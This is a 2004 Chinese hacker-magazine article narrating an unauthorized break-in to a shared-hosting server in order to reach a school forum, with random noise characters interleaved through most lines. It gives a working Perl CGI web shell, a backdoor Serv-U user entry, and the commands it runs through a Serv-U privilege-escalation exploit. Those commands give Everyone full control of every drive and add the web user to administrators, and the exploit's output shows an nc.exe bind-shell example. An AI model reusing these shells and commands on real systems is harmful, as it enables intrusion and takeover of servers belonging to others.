剑走偏锋——灵巧的旁注攻击
5 M# K7 U% B3 o2 V) p, T4 B本文作者:angel
" k8 v9 i/ `+ k/ W文章性质:原创# F1 x( } L: |0 q, b% i0 E1 a# y6 R
发布日期:2004-11-09 $ e" Q# j* a8 W' @1 |3 T ^ X
注意:$ p5 [( W* B" Q% [3 X* p
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
0 X: S2 j: m( i8 ?本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。2 M) f1 H& @5 x9 e
( N4 R% ]/ _$ D5 d5 D @ 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
6 f' o( d% ^; s% s' p, h$ M
^8 |1 K; H- E2 P- E1 n 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
0 J% R6 p- @/ r
! v1 Q' K: N6 [9 D# K+ r3 I3 ? 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
! V) ^' e' `' E9 N& H0 I2 \/ N. k0 M3 A. J
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
! Z* A" ~! y) s" p) D
( V9 g7 _: E- d 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
; e5 k- w: h3 J W" q/ ^
" ?" I) W' e# k- q# [$ W7 z# [ 没有目的的跳转目录着……
x! H3 j9 k: j- H
) o, D+ k& |% b3 G! A) {. E+ X 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
4 o- y8 ^% N/ v! k
" q* B ` {0 [; y" r- [3 n; W8 b: N 结束了吗?不,我试着 FTP 一下: , w2 B7 Y, f2 t
% r- d# G9 D4 u. Z
Microsoft Windows 2000 [Version 5.00.2195]
u! |/ C( b3 ^* s(C) 版权所有 1985-2000 Microsoft Corp.
2 t N8 P# ^& z% N
( s/ x! j6 D3 Z" rC:\Documents and Settings\Administrator>ftp www.school.com8 j- r& W1 j. [$ v* |: L
Connected to www. school.com.
& L% e% x) t1 z& i( L% y220 Welcome to FTP Server... y; S( G, a: h" d4 T @
User (www.bjtrq.com:(none)):
3 p. q. W8 ~0 w5 _+ b6 w8 q0 @331 User name okay, need password.
1 e" k3 j( S+ XPassword: & F7 @6 T( o: ^7 G" G. M
530 Not logged in. + w' R& D" m. ]+ k
Login failed.
9 F- i' v4 T! S/ F/ Vftp> bye : Z9 o2 s j( c* r5 N8 J9 R7 A' n
221 Goodbye!
! B/ `2 w* }8 X4 I
& `% P4 T7 X( L0 j2 ]. n
! Q8 {6 _/ o* T/ `; z/ _+ i! Y. \ 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
' u) H7 v* | |, b9 r5 X" {/ H7 Q1 |, ]+ S- K" C, e
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
. P# L" F7 M6 ^1 N5 ~9 M: T) R
. X; y2 H6 g; E _( x+ H" NApplication Data7 O z. R% I0 O1 C
Documents- j& c& @1 T% K2 \9 D4 C1 Y
DRM: t. _ p% D1 F5 Q# k
Favorites, f3 `" k( P. G/ L* g) C& d
Templates* R1 N# l- g3 P$ E
「开始」菜单
9 I( a* A; K ?0 D u: D4 d桌面9 P/ l6 j4 f) s6 F/ N( }
" o7 V+ h5 G, [) z" ?$ T+ Y" {2 O) \& n( m/ [) w: ]4 f
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, * S; @7 P7 y. P2 [; m l, }
9 a/ z X1 ?$ [# k9 Z c2 C) i
ActiveState ActivePerl 5.8
; W0 |) y" E/ k" i. V4 lAdministrative Tools1 P! ?& n5 H2 g4 b1 W# H4 Q& }# s
Deerfield.com
: X( S" m" ]- X" X6 k3 ODTemp
2 ~9 W) }5 B2 d q$ |; r* u- @IPSentry
8 p, b n- |7 ]( L/ hMBM 5
; Q! A/ s6 \0 H G" ZNetMeter# W. z2 a- Q9 G+ T& B. L5 o% v2 p4 B
Network ICE2 I( F, N1 F! Y" k3 f) n
Persits Software AspEmail
; p! M1 _0 k+ f% wPersits Software AspJpeg( D0 d% O: X* i
Serv-U FTP Server
" |5 E) T' ~2 sSymantec Client Security
- o( R( F- h: ?7 FWindows 优化大师+ \3 C9 m3 b+ j3 h# m; i
WinRAR
) S" [% p+ U! J: a启动
R8 O0 x* ~- u. N管理工具
0 y/ C$ W& B5 X0 f# F附件6 G! @1 }5 y) R1 P) E7 ]
9 K% e+ U6 D1 b1 |& E8 L2 Y) {. S
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 ' D* k0 {- T" \. V4 h6 e/ }6 T
$ h( ^. x! g1 @. a5 K: ~ X 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
4 \* w6 Y0 x5 h) @" c
" \3 e) S, s) N) W- z4 WUser281=angel|1|0 , W9 t$ f+ C( M7 U: \* z
" n- E5 l. n. \8 r, S% M6 ?
, `0 l* D* B1 A: J$ o; N 然后加上 " w1 y+ o7 [, b, V) D
: {/ D" j. ?. g; Z8 D Q
[USER=angel|1]
* Y4 K* P G! C% K+ |# EPassword=ng98F85379EA68DBF97BAADCA99B69B8053 k# `$ Q3 ~% b( T
HomeDir=D:\websites$ y( o% u4 c/ N% `9 W' m
RelPaths=10 R" a( H% s% G; K
TimeOut=600
5 Y" o. p/ J8 O i2 [Maintenance=System
6 C# i/ P7 }* D; T gAccess1=D:\websites|RWAMELCDP
3 q8 n, m; ?1 i s: w k. H4 aSKEYValues=) M7 L) }) b; l. H
) z8 q1 F0 B9 u
( ?1 w. N2 g3 f8 y# y 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
; u( p& ]% z/ W) | R7 \ W/ \: H7 C/ R& G2 l2 Z* g# k8 L
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
V9 H, v8 _, P* h& f' m5 j5 S, Q; s
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 / ]9 |" B+ x, z' O2 ?+ C
: ]$ `' k' c2 p! o. H- E9 O
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
8 g5 c% `5 R% p6 _- g- |* K: @+ K8 a9 N& g0 T& m
#!/usr/bin/perl' l7 ~* W6 ?7 Q0 }/ k8 B
binmode(STDOUT);' c! n; W1 C% ?
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);; c Z* w( H# S$ W4 E
$_ = $ENV{QUERY_STRING};) d5 G7 N: i0 p4 o! m7 o2 [
s/%20/ /ig;
& f% j8 _, c6 U. T7 s5 @s/%2f/\//ig;: u/ J7 ?1 `) W2 ^
$execthis = $_;' Z! N- J! T4 g. V- Y8 i7 V% D7 O
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);' ?% Z! H/ L2 f8 C8 Y$ t
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";" G& H0 h/ `( I) }4 l; j
system($execthis);
5 E5 R- }9 Y" R. l( c( @syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);, x2 z; o% r8 l d4 `0 E
close(STDERR);! F. [. U+ l" @; P
close(STDOUT);
, t3 s5 Q( J/ y0 z$ E/ Lexit;
2 D" c H. `) s: N+ C L 6 c$ D- G& c, f$ O, H% c4 g
$ j: x$ i2 A+ Q& E, k+ q" D
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
# ~. U9 m4 p) W( A
/ }" F4 N i. A6 w) P1 T% @/ e 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: : c% ?0 n6 s6 K6 w ?
! h5 |" \: J. y9 F6 `8 Zhttp://anyhost//cmd.pl?d:\user\bin\su.exe ( b9 d: i6 A6 }9 Z: e9 g
% ]# c" q4 r; U) O4 u1 ?
* U3 H1 }8 E$ m s4 g 返回: 4 I# I" D9 e* O* }2 g) \3 v# }
$ r! f' n8 o2 W% G5 j" ?) |0 q& n7 O% hServ-u >3.x Local Exploit by xiaolu
f( K8 d1 L& |5 [. J0 ?7 r1 W# y) a3 l: _
USAGE: serv-u.exe "command"
: \8 P! q4 i0 V' D2 v$ y
2 c2 r- P* }* t# a+ N3 D6 K% N8 zExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
- C$ N: [/ H0 ^) @ : I9 b1 o' }7 O) i* [) R- E
8 ]8 b; Z$ e( b5 s) ^
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
8 r( C; H3 J" m; ~3 J* z/ }) M7 Q+ Z, @4 Z$ L* l Q
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
* G$ _# l- m3 f4 t' j
6 {" a" a1 Z6 a8 D# l9 {http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
6 t( p! h# U4 w, i+ f
$ f& T. n# D' C$ r1 ~! l" Xhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" / O: a( H! G$ p8 {6 h& q% D
) o) W: G" z0 L `$ d fhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 2 m! }5 e- ?) O7 l" J9 `, }
& k) b( q2 x+ t9 h: R. v
. d# F2 I1 x& @7 q- c6 a' E
返回下面的信息,就表示成功了!!!
7 G! @2 [6 ]# C8 O0 k
5 I5 E% c' x8 I6 R1 M* n, b3 d4 RServ-u >3.x Local Exploit by xiaolu 7 w$ m# }$ Q" b4 O+ X# v2 o
* j5 ]. I; P" q& Q
<220 Serv-U FTP Server v5.2 for WinSock ready... ) ^3 t" S6 H8 A/ k6 g
9 D& N' N% e( @4 d9 W, c: }& {>USER LocalAdministrator - n3 K: L+ O( t7 t, h" K
$ L: u7 l5 O C' u7 o% f: E- X<331 User name okay, need password. * s G( D- A6 t8 c4 z- C( i
: R2 p* f1 k, t$ e! Q1 s3 e# I******************************************************
j% x# m0 h! z4 h( e
' X( B- B* X S2 j ^# _>PASS #l@$ak#.lk;0@P Q* n' G% ]/ x9 X! L% ]
7 v- |: Q3 u7 a( _& i- g<230 User logged in, proceed.
; g/ @5 d5 J; M* r7 a: Y5 S# m/ n3 f0 q z% `; ?" y4 j; @
******************************************************
( C" K0 \) L5 m0 g. C( I" I
& e$ y, l' j( ?' l>SITE MAINTENANCE / z5 i4 S/ X* I! P+ G3 ]/ j' l
7 ]( G* K/ {! L# v6 e******************************************************
" C4 I# o* @, _. b0 q3 m6 r; |0 n7 @+ \4 ~6 I( o9 a# ?8 A
[+] Creating New Domain...
. ` h0 p; L- J/ O4 _+ a! h. f1 H' y- z( p. C- C
<200-DomainID=2
2 y( z8 z* F0 K+ T2 O, h( b7 p* g& ~
! l" ?: u# s0 m0 _, J8 p<220 Domain settings saved ' c3 \1 B! ~. _2 P4 q) k0 j( E, J
# o+ b, C8 z. f( G8 x) q****************************************************** 1 i9 v! {/ S7 j2 E% _
6 Z/ E1 k g. F1 X4 o/ e
[+] Domain xl:2 Created 2 [( n( Y! K' `" U
9 A! e2 B9 h' s% l! C7 Z[+] Creating Evil User
; Z H8 O, {# h+ `
, x; n4 k# N" b* D5 b6 e<200-User=xl ( K! `, @3 S/ W, H2 ~* p9 c/ `+ p
9 o* `. ]& z7 n P. D0 o200 User settings saved
( D% K& v: u1 u& {6 x) S$ _! `: I( j" a- D$ d* X6 L
******************************************************
) Z" A/ [5 q7 p4 c. @; y A: o) d5 Q. [, {. G
[+] Now Exploiting...
0 H2 x$ G- @; F
s& w" c; r4 p>USER xl
7 U/ |$ g, M2 F* {% `/ a# h" s2 @8 M/ C6 U" v* _
<331 User name okay, need password.
1 U; ?" c* g9 `% z
- L+ t, j" D( \7 S******************************************************
* ~- F# W W* ?- W) S1 R D9 t+ ^
0 d2 [) y% _0 W& x7 I8 F% E>PASS 111111 $ _/ V( W* t# O* Z
5 K7 s p. G5 P$ ?8 H j9 x
<230 User logged in, proceed. / w) D2 X5 B4 b0 U9 _( r
4 S j+ G) |- T7 j) \$ U2 ?6 T- n
******************************************************
' [- B! }$ R0 i8 Q# p+ A [
4 W. W8 G' x9 m% P[+] Now Executing: cacls.exe c: /E /T /G everyone:F 7 O, i7 x' t# S/ V q: n' R6 Q
8 {. m5 K; ]2 J
<220 Domain deleted
, F9 `, K6 G( Y, A7 Y! p: T2 O' l: {
( h) Y3 H. o3 @2 E. S$ @9 G/ v* z******************************************************
- Y$ d3 Q+ E) W& a2 Z& } 9 D, i9 L* `0 p$ ~3 A* R
5 S5 x- n- z$ X0 A
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: ; t5 S% n8 o: Q; l
8 a3 I; Q" m) y1 O# |: ?
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" # O6 b: R) u9 S# a' \
3 b/ ~9 Y3 ^- g
$ ~1 }2 X: @# i0 U! \) J% O 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 9 i' k2 s3 _+ _5 L F1 R! T6 o! ~
% R$ P X+ a# o6 d. q4 ]' ?& ?# D. t
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
( g5 H- L& u% w) X6 ?" F1 e
Z7 T1 n/ O) \ o; J* f # a3 t( W G6 ^7 N% @
|